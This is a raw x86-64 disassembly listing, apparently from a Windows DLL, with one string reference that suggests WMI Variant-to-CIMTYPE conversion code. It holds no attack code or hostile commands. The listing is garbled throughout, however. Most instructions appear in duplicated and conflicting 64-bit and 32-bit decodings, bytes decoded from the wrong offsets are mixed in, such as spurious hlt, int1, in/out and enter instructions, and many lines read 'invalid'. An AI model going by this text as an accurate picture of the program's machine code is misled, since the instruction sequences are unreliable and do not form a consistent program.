mov eax, edx
ror byte [rcx - 0x77], 1
mov r8, rcx
mov eax, ecx
enter 0xffffffffffffc149, 0xffffffffffffffe0
shl r8, 5
shl eax, 5
add eax, 0x8ba
mov edx, 8
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rax
mov ecx, eax
shr ecx, 0x95
jmp fcn.1800097d8
xchg ebp, eax
push rsp
cli
inc ebx
ret
ret
push rsi
push rdi
sub rsp, 0x28
sub byte [rax - 0x77], cl
mov rsi, rdx
invalid
mov rdi, rcx
iretd
sub rsi, 1
jb case.0x180046113.1133
invalid
out dx, al
add dword [rdx + 0xe], esi
invalid
mov rcx, rdi
mov ecx, edi
stc
call case.0x18004d727.321
add rdi, 0x20
add edi, 0x20
invalid
invalid
dec dword [rax - 0x7d]
invalid
add edi, 0x20
and bl, ch
jmp 0x180064350
in al, dx
add rsp, 0x28
add esp, 0x28
invalid
sub byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2a8
in al, dx
test al, 2
add byte [rax], al
in al, dx
test al, 2
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x290], esi
mov ah, 0x24
nop
add al, byte [rax]
add byte [rax], al
movaps xmmword [rsp + 0x290], xmm6
mov ah, 0x24
nop
add al, byte [rax]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], cl
mov rsi, rcx
mov rbx, rdx
mov ebx, edx
mov rsi, rcx
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x3c], eax
and al, 0x3c
cmp al, 0x45
test r8d, r8d
test eax, eax
sal byte [rbx + rbp + 0x44], 0x89
mov dword [rcx + 0xf], 0x440de0ba
bt r8d, 0xd
mov r14b, byte [rbx]
je case.0x18004bb8b.311
sub eax, dword [rcx + rcx*4 - 0x39]
mov edi, r8d
bt r8d, 0xd
bt eax, 0xd
loopne 0x1800643ab
mov r14b, byte [rbx]
movzx eax, r14b
movzx eax, dh
invalid
jb case.default.0x1800643b7
mov rax, r8
mov eax, eax
lea rcx, [0x1800836a4]
lea ecx, [0x1800836a4]
or eax, 0x1f2f4
hlt
add dword [rax], eax
add dword [rax], eax
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
or dword [rax + 1], 0x41e0ffc8
add rax, rcx
add eax, ecx
jmp rax
mov r14b, 1
mov dh, 1
add ecx, ebp
jmp 0x180064bc4
add ecx, dword [rax]
add byte [rax], al
add dh, al
mov byte [rsi + 8], 1
or byte [rcx], r8b
or byte [rcx], al
add dword [rax - 0x7d], ecx
add byte es:[rdi], cl
add byte [rdi], cl
and qword [rsi], 0
and dword [rsi], 0
add byte [rdi], cl
movzx eax, byte [rbx]
mov dh, 3
add eax, dword [rbx - 0x7bf0fd08]
cmp eax, 2
je 0x180066210
cmp ebx, dword [rsi]
add byte [rax], al
clc
add cl, byte [rdi]
test byte [rbx], bh
invalid
cmp ebx, dword [rsi]
invalid
add byte [rax], al
cmp eax, 0xe
clc
invalid
je case.0x18004b1ba.470
test byte [rax], dl
invalid
add byte [rax], al
add byte [rbx - 0x7bf0f008], al
cmp eax, 0xf
clc
invalid
je 0x180066200
test byte [rcx], bl
sbb dword [rsi], ebx
invalid
add byte [rax], al
add byte [rbx - 0x7bf0ef08], al
adc byte [rsi], bl
cmp eax, 0x10
adc byte [rdi], cl
test byte [rax], dl
invalid
je 0x180066200
add byte [rax], al
add cl, ch
jmp case.0x18004bb8b.432
sub byte [rsi], bl
invalid
add byte [rax], al
add byte [rbx + 0x257302f8], al
cmp eax, 2
clc
add dh, byte [rbx + 0x25]
jae 0x18006441f
jae 0x18006441f
mov byte [rsi + 8], 0xe
or byte [rsi], r9b
or byte [rsi], cl
invalid
and qword [rsi + 0x10], 0
and dword [rsi + 0x10], 0
adc byte [rax], al
mov qword [rsi + 0x18], 8
sbb byte [rax], r9b
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
and qword [rsi + 0x20], 0
and dword [rsi + 0x20], 0
and byte [rax], al
and qword [rsi], 0
and dword [rsi], 0
add byte es:[rax - 0x4dfe4eff], dh
mov al, 1
mov cl, 1
mov dl, 1
invalid
add dword [rcx - 0x16fe4dff], esi
add ecx, ebp
jmp 0x1800661d1
mov dl, 0x1d
add byte [rax], al
invalid
add byte [rbx + 0x29750ef8], al
cmp eax, 0xe
jne 0x18006444d
invalid
invalid
sub dword [rax - 0x75], ecx
mov rax, qword [rbx + 0x18]
mov eax, dword [rbx + 0x18]
sbb byte [r8 - 0x73], cl
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
push rsp
and al, 0x40
mov qword [rdx + 0x18], rax
mov qword [rdx + 0x18], rax
mov dword [rdx + 0x18], eax
movups xmm0, xmmword [rbx + 8]
movups xmmword [rdx + 8], xmm0
mov byte [rdx], 0xe
movzx r8d, dil
movzx eax, bh
invalid
movzx eax, bh
mov dh, 0xc7
invalid
mov rcx, rsi
mov ecx, esi
call fcn.18006436b
and edi, edi
invalid
invalid
invalid
jmp case.0x18004bb8b.432
rcr byte [0x18590444f], 1
lodsd eax, dword [rsi]
outsb dx, byte [rsi]
mov al, byte [0x18008b300]
add al, byte [rax]
mov edx, 0x20
and byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], dh
xor ecx, ecx
leave
call fcn.180059d10
test rax, rax
test eax, eax
invalid
dec dword [rax - 0x7b]
test eax, eax
ror byte [rdi], 0x84
je 0x180066239
test cl, dl
rcr dword [0x1094f446a], 1
sbb eax, 0x89490000
add byte [rcx - 0x77], cl
mov r14, rax
mov esi, eax
mov byte [rdi + rcx - 0x4a], 0xc7
movzx r8d, dil
mov dh, 0xc7
invalid
lea rdi, [rsp + 0x40]
lea edi, [rsp + 0x40]
jl 0x180064497
mov rcx, rdi
mov rcx, rdi
mov ecx, edi
mov rdx, rbx
mov edx, ebx
invalid
call fcn.18006436b
cmp qword [rdi], 0
movups xmm0, xmmword [rdi + 8]
or byte [r15], r9b
adc byte [rdi + 0x18], cl
invalid
invalid
movups xmm1, xmmword [rdi + 0x18]
sbb byte [r15], r9b
sbb byte [rdi], cl
movaps xmmword [rsp + 0x100], xmm0
sub dword [rsp + 0x100], eax
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x110], ecx
mov word [rax + rdx], fs
add dword [rax], eax
invalid
movaps xmmword [rsp + 0x110], xmm1
mov word [rax + rdx], fs
and al, 0x10
adc byte [rcx], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rdx + rcx*2 + 0x48], dh
lea eax, [rsi + 8]
invalid
invalid
je case.0x18002b117.1267
lea rax, [rsi + 8]
or byte [rdi], r9b
movaps xmm0, xmmword [rsp + 0x100]
sub byte [rsp + 0x100], al
test byte [rax + rax], ah
and al, 0
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
movaps xmm1, xmmword [rsp + 0x110]
sub byte [rsp + 0x110], cl
and al, 0x10
add dword [rax], eax
add byte [rax], al
invalid
adc byte [rcx], al
add byte [rax], al
movups xmmword [rax + 0x10], xmm1
adc dword [rax + 0x10], ecx
adc byte [rdi], cl
adc dword [rax], eax
invalid
movups xmmword [rax], xmm0
add byte [rax - 0x39], cl
mov qword [rsi], 1
mov dword [rsi], 1
invalid
add dword [rax], eax
add byte [rax], al
add byte [rdx + 8], bh
or byte [rax], al
add byte [rax], al
add byte [rax], al
mov edx, 8
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov ecx, esi
movaps xmm6, xmmword [rsp + 0x290]
sub byte [rsp + 0x290], dh
mov ah, 0x24
and al, 0x90
nop
add al, byte [rax]
add byte [rax - 0x7f], cl
add rsp, 0x2a8
add esp, 0x2a8
invalid
test al, 2
add al, byte [rax]
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop rbp
pop r14
pop rsi
pop r15
pop rdi
jmp fcn.18001b8e0
stc
jae case.0x18005c15f.89
sti
dec dword [rdi]
sub byte [rsp + 0x100], al
test byte [rax + rax], ah
add dword [rax], eax
invalid
movaps xmm0, xmmword [rsp + 0x100]
test byte [rax + rax], ah
and al, 0
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
movaps xmm1, xmmword [rsp + 0x110]
sub byte [rsp + 0x110], cl
mov word [rax + rdx], fs
adc byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rcx + 0xf], al
movups xmmword [r14 + 0x10], xmm1
movups xmmword [rsi + 0x10], xmm1
adc dword [rsi + 0x10], ecx
adc byte [rcx + 0xf], al
movups xmmword [r14], xmm0
adc dword [rsi], eax
mov byte [rsi + 8], 0xe
or byte [rsi], r9b
or byte [rsi], cl
invalid
mov eax, 1
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
adc byte [rcx + r9*4 + 0x76], r9b
adc byte [rcx + rcx*4 + 0x76], cl
mov qword [rsi + 0x18], r14
mov dword [rsi + 0x18], esi
sbb byte [rax - 0x77], cl
mov qword [rsi + 0x20], rax
jmp 0x180066152
cmp byte [rax + rax], bl
invalid
and cl, r13b
and cl, ch
cmp byte [rax + rax], bl
sbb al, 0
add byte [rax], al
mov rdi, qword [rbx + 8]
mov edi, dword [rbx + 8]
add byte [rax - 0x75], cl
jnp 0x180064526
invalid
mov edi, dword [rbx + 8]
or cl, ch
sahf
invalid
jmp case.0x18004b2bd.328
mov rax, qword [rbx + 8]
mov eax, dword [rbx + 8]
or byte [r11 + r9*4 + 0x6b], cl
or byte [rbx + rcx*4 + 0x6b], cl
mov r13, qword [rbx + 0x10]
mov ebp, dword [rbx + 0x10]
imul edx, dword [rax], 0x4c
adc byte [rbx + rcx*4 + 0x73], cl
mov r14, qword [rbx + 0x18]
mov esi, dword [rbx + 0x18]
jae case.0x18004d727.139
sbb byte [rcx - 0x3f], cl
shl r14, 5
out 5, al
lea rdx, [r14 + r13]
lea rcx, [rsp + 0xd0]
lea ecx, [rsp + 0xd0]
lea rcx, cs:[rsp + 0xd0]
lea ecx, [rsp + 0xd0]
mov word [rax + rdx*8], fs
add byte [rax], al
invalid
rol byte [rax], 1
add byte [rax], al
add dh, al
mov byte [rcx], 0x12
add dword [rdx], edx
adc cl, byte [rcx + rcx*4 + 0x6c]
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x40], ebp
insb byte [rdi], dx
and al, 0x40
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
push rax
mov qword [rsp + 0xf8], rdx
mov dword [rsp + 0xf8], edx
xchg esp, eax
and al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rsp + 0x58], rdx
mov dword [rsp + 0x58], edx
push rsp
and al, 0x58
lea rdx, [rsp + 0x3c]
push rsp
and al, 0x3c
cmp al, 0x48
mov dword [rsp + 0x60], edx
push rsp
and al, 0x60
mov qword [rsp + 0x60], rdx
push rsp
and al, 0x60
mov qword [rsp + 0x68], rcx
mov dword [rsp + 0x68], ecx
and al, 0x68
and al, 0x68
movabs rcx, 0x7ffffffffffffff
and rcx, rax
invalid
mov ecx, 0xffffffff
invalid
invalid
invalid
ror dword [rax - 0x77], 0x4c
mov qword [rsp + 0x28], rcx
and al, 0x28
sub byte [rax - 0x73], cl
lea rbp, [rsp + 0x98]
lodsb al, byte [rsi]
and al, 0x98
cwde
cwde
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rdi, [rsp + 0x90]
mov esp, 0x9024
and al, 0x90
add byte [rax], al
add byte [rbp + rcx*4 + 0x64], cl
and al, 0x70
lea r12, [rsp + 0x70]
lea esp, [rsp + 0x70]
and al, 0x70
mov qword [rsp + 0x30], r13
insb byte [rdi], dx
and al, 0x30
test r14, r14
test esi, esi
je 0x180064a31
xchg esp, eax
add al, 0
add byte [rbp - 0x73], cl
lea r15, [r13 + 0x20]
jge case.0x18004d727.131
movups xmm0, xmmword [r13]
add byte [r9 + 0xf], r8b
add byte [rcx + 0xf], al
movups xmm1, xmmword [r13 + 0x10]
adc byte [rbp + 0x10], cl
movaps xmmword [rsp + 0x140], xmm0
sub dword [rsp + 0x140], eax
test byte [rax + rax*2], ah
and al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0x150], xmm1
sub dword [rsp + 0x150], ecx
mov word [rax + rdx*2], fs
and al, 0x50
add dword [rax], eax
add byte [rax + 0x14024bc], al
and al, 0x40
add dword [rax], eax
add byte [rcx], dl
invalid
add byte [rax], al
cmp byte [rsp + 0x140], 0x11
and al, 0x40
add dword [rax], eax
add byte [rcx], dl
je case.0x18005553b.115
test byte [rdi + 4], bh
add byte [rax], al
add al, 0
add byte [rcx + 0xf], al
movups xmm0, xmmword [r13]
movups xmm0, xmmword [r13]
movups xmm0, xmmword [rbp]
add byte [r9 + 0xf], r8b
add byte [rcx + 0xf], al
movups xmm1, xmmword [r13 + 0x10]
movups xmm1, xmmword [rbp + 0x10]
adc byte [rbp + 0x10], cl
adc byte [r15], r9b
adc byte [rdi], cl
movaps xmmword [rsp + 0x80], xmm1
sub dword [rsp + 0x80], ecx
mov word [rax + rax*4], fs
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x70], eax
and al, 0x70
movaps xmmword [rsp + 0x70], xmm0
and al, 0x70
mov r8d, dword [rsp + 0x3c]
cmp al, 0x48
mov ecx, edi
mov rcx, rdi
mov rdx, r12
mov edx, esp
loop 0x1800645d4
call fcn.18006436b
cmp qword [rsp + 0x90], 0
cmp dword [rsp + 0x90], 0
jnp case.0x18005553b.98
std
invalid
cmp dword [rsp + 0x90], 0
mov esp, 0x9024
and al, 0x90
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
jne 0x180064a5c
test dword [rbp + 4], ebx
add byte [rax], al
movups xmm0, xmmword [rbp]
add byte [r15], r9b
add byte [rdi], cl
movups xmm1, xmmword [rbp + 0x10]
adc byte [rbp + 0x10], cl
adc byte [r9 + 0xf], r8b
adc byte [rcx + 0xf], al
movups xmmword [r13 + 0x10], xmm1
adc dword [rbp + 0x10], ecx
adc byte [r9 + 0xf], r8b
adc dword [rbp], eax
invalid
invalid
movups xmmword [r13], xmm0
movups xmmword [rbp], xmm0
add byte [r9 - 0x7d], r9b
add r14, 0xffffffffffffffe0
add esi, 0xffffffe0
invalid
mov r13, r15
jmp case.0x18005c15f.69
ja case.0x18002bb9c.1140
invalid
invalid
ja case.0x18002bb9c.1140
invalid
invalid
movzx ebp, word [rbx + 2]
imul eax, dword [rdx], 0x66
add ah, byte [rsi - 0x77]
insb byte [rdi], dx
and al, 0x70
invalid
mov word [rsp + 0x70], bp
mov dword [rsp + 0x70], ebp
jo case.0x180061add.137
lea eax, [rdi - 2]
inc byte [r11 - 0x78f0ec08]
invalid
cmp eax, 0x13
ja 0x180064c74
invalid
add byte [rax], al
clc
adc ecx, dword [rdi]
xchg dword [rdx + 6], eax
invalid
invalid
add byte [rax], al
add byte [rdi], cl
mov bh, 0xfd
movzx edi, bp
lea rcx, [0x180083788]
lea ecx, [0x180083788]
int1
int1
add dword [rax], eax
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
jmp rax
mov r14b, 4
mov dh, 4
add al, 0xe9
ret
jmp 0x180065610
sldt word [rax]
add byte [rax], al
movzx ebp, word [rbx + 2]
mov word [rsp + 0x70], bp
mov dword [rsp + 0x70], ebp
add ah, byte [rsi - 0x77]
mov dword [rsp + 0x70], ebp
insb byte [rdi], dx
and al, 0x70
jo 0x1800645e4
lea eax, [rdi - 2]
cmp eax, 0x13
clc
invalid
inc byte [r11 - 0x78f0ec08]
inc byte [rbx - 0x78f0ec08]
clc
adc ecx, dword [rdi]
xchg dword [rcx + 6], esp
invalid
ja case.0x18004bb8b.215
invalid
invalid
add byte [rax], al
add byte [rax + 0xf], cl
movsx rdi, bp
movsx edi, bp
mov edi, 0xbf0f44fd
std
movsx r15d, di
movsx edi, di
mov edi, 0xd8d48ff
div edx
invalid
dec dword [rax - 0x73]
or eax, 0x1f2f7
add dword [rax], eax
lea rcx, [0x180083968]
add dword [rax], eax
add dword [rax], eax
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
add eax, ecx
jmp rax
mov r14b, 4
mov dh, 4
jmp 0x1800656f9
add byte [rax], al
mov eax, dword [rbx + 4]
invalid
invalid
add byte [rbx - 0x76b6fbbd], cl
ror byte [rcx - 0x728fdbbc], 0x47
jo case.0x18002bb9c.1140
invalid
add al, 0x49
mov eax, eax
mov r8, rax
mov dword [rsp + 0x70], eax
lea eax, [rdi - 2]
invalid
invalid
cmp eax, 0x13
invalid
jo case.0x18002bb9c.1140
inc byte [r11 - 0x78f0ec08]
inc byte [rbx - 0x78f0ec08]
adc ecx, dword [rdi]
xchg dword [rdx + 6], edi
invalid
ja 0x180064d12
jp case.0x18004c0d7.151
invalid
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1f099
lock add dword [rax], eax
lea rcx, [0x180083738]
lea ecx, [0x180083738]
lock add dword [rax], eax
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
invalid
loopne case.0x180047e31.338
mov r14b, 4
mov dh, 4
add al, 0xe9
jb case.0x18004b336.349
invalid
jmp 0x180065722
adc byte [rax], al
add byte [rbx - 0x7af0f401], al
dec dword [rbx]
invalid
invalid
add byte [rax], al
cmp edi, 0xb
dec dword [rbx]
dec dword [rbx]
or ecx, dword [rdi]
test dword [rdx + 2], ebp
push 2
jne 0x180064923
push 2
add byte [rax], al
add byte [rdx + rcx*4 + 0x63], al
add dword [rcx - 0x4a], eax
invalid
invalid
mov r12b, byte [rbx + 1]
mov ah, byte [rbx + 1]
mov r14b, 9
mov dh, 9
or ecx, ebp
jmp 0x180065832
insd dword [rdi], dx
adc dword [rax], eax
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbx + 8]
or byte [r8 - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
mov rax, qword [rbx + 0x10]
mov eax, dword [rbx + 0x10]
adc byte [rax - 0x77], cl
and al, 0x30
invalid
mov qword [rsp + 0x30], rax
and al, 0x30
xor byte [rbx + rcx*4 + 0x6b], cl
mov r13, qword [rbx + 0x18]
imul ebx, dword [rax], 0x41
mov dh, 2
invalid
sbb byte [rcx - 0x4a], al
mov r14b, 2
add al, byte [rbx - 0x7c0139]
adc ecx, dword [rdi]
invalid
add edi, 0xfffffffe
inc byte [rbx - 0x78f0ec01]
fiadd word [rbx]
invalid
cmp edi, 0x13
ja case.0x1800646f8.6
xchg esi, ebx
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1f317
invalid
add dword [rax], eax
lea rax, [0x180083a08]
lea eax, [0x180083a08]
invalid
add dword [rax], eax
movsxd rcx, dword [rax + rdi*4]
invalid
mov eax, 0xffc10148
loope 0x180064748
invalid
add rcx, rax
add ecx, eax
sar edi, 0xe1
jmp rcx
test r13, r13
test ebp, ebp
in eax, dx
je 0x1800654d1
add byte [rax], al
add byte [rcx - 0x7d], cl
cmp r13, 1
cmp ebp, 1
std
add dword [rax - 0x75], ecx
invalid
invalid
mov rcx, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rdi], cl
jne 0x180065a37
test dword [0x1c8064726], esp
mov eax, dword [rsp + 0x30]
and al, 0x30
adc eax, dword [rax]
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x30]
and al, 0x30
xor byte [rdi], cl
mov dh, 0
movzx eax, byte [rax]
mov r10b, 1
mov dl, 1
add dword [rbx - 0x7bf0d408], eax
outsd dx, dword [rsi]
adc eax, 0xb5400000
add byte [rax - 0x4b], al
cmp eax, 0x2b
sub ecx, dword [rdi]
je 0x180065c95
test byte [rdi + 0x15], ch
add byte [rax], al
invalid
add byte [rax - 0x4b], al
mov bpl, 1
add dword [rbx - 0x7bf0d208], eax
jge case.0x1800484d2.290
cmp eax, 0x2d
clc
sub eax, 0x1a7d840f
je 0x1800661af
test byte [rbp + 0x1a], bh
add byte [rax], al
add cl, ch
invalid
jmp 0x180065a3e
add byte [rax], al
mov r15, qword [rbx + 8]
mov edi, dword [rbx + 8]
add byte [rbx + rcx*4 + 0x7b], cl
mov edi, dword [rbx + 8]
or byte [rbx - 0x7af0f201], al
add al, byte [rax]
add al, byte [rax]
cmp edi, 0xd
jne 0x1800649aa
test dword [rsi + 2], esp
add byte [rax], al
dec dword [0x1826ccc51]
or eax, 0x266850f
test dword [rsi + 2], esp
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x73], cl
lea rdi, [rsp + 0x40]
lea edi, [rsp + 0x40]
jl 0x18006476c
and qword [rdi], 0
and qword [rdi], 0
and dword [rdi], 0
invalid
add byte [rcx - 0x75], cl
mov rax, qword [r15]
lea rdx, [0x180081690]
lea edx, [0x180081690]
invalid
lea edx, [0x180081690]
adc eax, 0x1cf39
iretd
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
stc
mov r8, rdi
mov eax, edi
clc
call qword [rax]
mov rdi, qword [rdi]
invalid
test eax, eax
js 0x180064b5e
mov ah, dh
add eax, dword [rax]
invalid
mov ah, dh
add eax, dword [rax]
add byte [rax - 0x7b], cl
test rdi, rdi
test edi, edi
dec dword [rdi]
jne 0x180064bb8
test dword [rbp + 4], eax
add byte [rax], al
add byte [rcx], dh
push qword [rcx]
xor ebp, ebp
xor edi, edi
xor ebp, ebp
jmp 0x180064b78
cld
add eax, dword [rax]
add byte [rdx + rcx*4 + 0x63], al
mov ah, byte [rbx + 1]
invalid
invalid
mov ah, byte [rbx + 1]
movsx ebp, r12b
invalid
in al, dx
movsx ebp, ah
mov esi, 0x648844ec
and al, 0x70
invalid
in al, dx
mov byte [rsp + 0x70], r12b
mov byte [rsp + 0x70], ah
jo 0x180064717
lea eax, [rdi - 2]
inc byte [r11 - 0x78f0ec08]
int 5
add byte [rax], al
invalid
cmp eax, 0x13
clc
adc ecx, dword [rdi]
xchg ebp, ecx
add eax, 0xf490000
add byte [rcx + 0xf], cl
ja case.default.0x1800647a7
add byte [rcx + 0xf], cl
movsx rdi, r12b
mov esi, 0xd8d48fc
sbb dl, dh
invalid
lea rcx, [0x1800839b8]
or eax, 0x1f218
add dword [rax], eax
add dword [rax], eax
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x41
mov r14b, 4
mov dh, 4
jmp 0x180065876
invalid
adc byte [rax], al
add bl, dh
movups xmm0, xmmword [rbx + 4]
movss dword [rsp + 0x70], xmm0
and al, 0x70
add al, 0xf3
add al, 0xf3
movups xmmword [rsp + 0x70], xmm0
and al, 0x70
and al, 0x70
lea eax, [rdi - 2]
inc byte [r11 - 0x78f0ec08]
cmp eax, 0x13
ja case.default.0x1800647d6
jmp 0x1c80647ce
lea rcx, [0x180083878]
lea ecx, [0x180083878]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movups xmm1, xmmword [0x18006c8c4]
adc byte [0x18006c8c4], cl
add byte [rax], al
maxss xmm1, xmm0
movss xmm0, dword [0x18006c8c8]
movups xmm0, xmmword [0x18006c8c8]
movups xmm0, xmmword [0x18006c8c8]
add byte [rax], 0
minss xmm0, xmm1
cvttss2si ebp, xmm0
sub al, 0xe8
pop rbp
sal ebx, 0xf
sub al, 0xe8
jmp case.0x18004ba21.194
and al, byte [rcx]
add byte [rax], al
mov r15d, dword [rbx + 4]
mov dword [rsp + 0x70], r15d
lea eax, [rdi - 2]
cmp eax, 0x13
ja case.default.0x18006481f
xchg eax, ecx
invalid
add byte [rax], al
xchg eax, ecx
add eax, 0x63490000
movsxd rdi, r15d
lea rcx, [0x180083918]
int1
add dword [rax], eax
enter 5, 0
movsxd rdi, r15d
lea rcx, [0x180083918]
int1
add dword [rax], eax
invalid
int1
add dword [rax], eax
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r14b, 4
jmp 0x1800658f4
retf
adc byte [rax], al
invalid
retf
adc byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rbx + 8]
mov r8, rax
mov qword [rsp + 0x70], rax
and al, 0x70
mov r8, rax
mov qword [rsp + 0x70], rax
and al, 0x70
and al, 0x70
lea eax, [rdi - 2]
cmp eax, 0x13
ja case.default.0x18006484f
invalid
lodsb al, byte [rsi]
invalid
add byte [rax], al
inc byte [rbx - 0x78f0ec08]
lodsb al, byte [rsi]
add eax, 0x8d480000
xchg dword [rbp + rax - 0x72b80000], ebp
lea rcx, [0x1800836e8]
or eax, 0x1eea0
out dx, al
add dword [rax], eax
invalid
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x4d
test r8, r8
test eax, eax
ror byte [rdi], 0x89
jns case.0x18005c15f.213
mov dword [rax], edx
add al, 0
invalid
adc byte [rax + rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
shr rax, 1
shr eax, 1
call 0x181e6cba5
and r8d, 1
add dword [rcx + 9], ecx
sal bl, 0x49
cvtpi2ps xmm0, mm0
or r8, rax
cvtsi2ss xmm0, r8
cvtpi2ps xmm0, mm0
cvtpi2ps xmm0, mm0
addss xmm0, xmm0
jmp case.0x180061add.134
invalid
invalid
add byte [rax], al
pop rax
shr cl, 0xf0
invalid
invalid
invalid
mov eax, dword [rbx + 8]
or byte [rcx - 0x77], cl
mov r8, rax
mov qword [rsp + 0x70], rax
and al, 0x70
ror byte [rax - 0x77], 0x44
and al, 0x70
invalid
and al, 0x70
jo 0x18006480f
lea eax, [rdi - 2]
cmp eax, 0x13
ja case.default.0x18006489b
xchg esi, eax
invalid
add byte [rax], al
inc byte [r11 - 0x78f0ec08]
inc byte [rbx - 0x78f0ec08]
adc ecx, dword [rdi]
xchg esi, eax
add eax, 0x8d480000
add byte [rax], al
lea rcx, [0x1800838c8]
mov byte [0x10d4e4890], 0xd
add byte [rax], al
lea rcx, [0x1800838c8]
xor al, 0xf0
add dword [rax], eax
invalid
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
enter 0xffffffffffffe0ff, 0x41
jmp rax
mov r14b, 4
mov dh, 4
add al, 0xe9
jmp 0x180064be6
add eax, dword [r8]
add byte [rdx + rcx*4 + 0x63], al
add dword [rcx + 0xf], eax
movzx eax, r12b
mov ah, byte [rbx + 1]
movzx eax, r12b
movzx eax, ah
mov r8, rax
mov byte [rsp + 0x70], al
and al, 0x70
ror byte [rax - 0x728fdbbc], 0x47
and al, 0x70
lea eax, [rdi - 2]
cmp eax, 0x13
inc byte [rbx - 0x78f0ec08]
jrcxz 0x1800648c3
ja case.default.0x1800648ce
xchg ebx, esp
add eax, 0x8d480000
lea rcx, [0x1800837d8]
add byte [rax], al
lea rcx, [0x1800837d8]
adc edi, ebp
add dword [rax], eax
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x41
mov dh, 4
invalid
mov r14b, 4
add al, 0xe9
test dword [rax], edx
jmp 0x18006595d
add byte [rax], al
movsd xmm0, qword [rbx + 8]
invalid
add dl, dh
movups xmm0, xmmword [rbx + 8]
invalid
or dl, dh
movups xmmword [rsp + 0x70], xmm0
and al, 0x70
movsd qword [rsp + 0x70], xmm0
and al, 0x70
lea eax, [rdi - 2]
cmp eax, 0x13
clc
adc ecx, dword [rdi]
xchg dword [rax], eax
invalid
add byte [rax], al
invalid
inc byte [rbx - 0x78f0ec08]
add byte [rsi], al
add byte [rax], al
invalid
clc
adc ecx, dword [rdi]
xchg dword [rax], eax
invalid
lea rcx, [0x180083828]
xor ch, bh
add dword [rax], eax
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movsd xmm1, qword [0x18006c880]
adc byte [0x18006c880], cl
add dl, dh
maxps xmm1, xmm0
maxsd xmm1, xmm0
enter 0xff2, 0x10
add eax, 0x7f75
jg case.0x1800579c5.216
invalid
movsd xmm0, qword [0x18006c888]
jg case.0x1800579c5.216
add dl, dh
minps xmm0, xmm1
pop rbp
invalid
minsd xmm0, xmm1
pop rbp
sal edx, 0xf
sub al, 0xe8
invalid
cvttsd2si ebp, xmm0
call 0x1690aff60
mov r14b, 4
mov dh, 4
jmp 0x180065929
invalid
add byte [rax - 0x73], cl
lea rax, [rsp + 0x3c]
lea eax, [rsp + 0x3c]
and al, 0x3c
and al, 0x3c
lea rcx, [rsp + 0x90]
mov qword [rcx], rax
mov dword [rcx], eax
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rcx], eax
add dword [rax - 0x73], ecx
lea rax, str.A_boolean_Variant_cannot_be_turned_into_a_CIMTYPE
lea eax, [0x1800818c0]
add eax, 0x1cf86
iretd
lea rdi, [rsp + 0x40]
jl 0x180064962
mov qword [rdi], rax
mov qword [rdi], rax
mov r15d, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x7f], cl
or byte [rax - 0x7d], cl
mov qword [rdi + 8], r15
mov dword [rdi + 8], edi
jg case.0x18006481f.176
and qword [rdi + 0x20], 0
and byte [eax], al
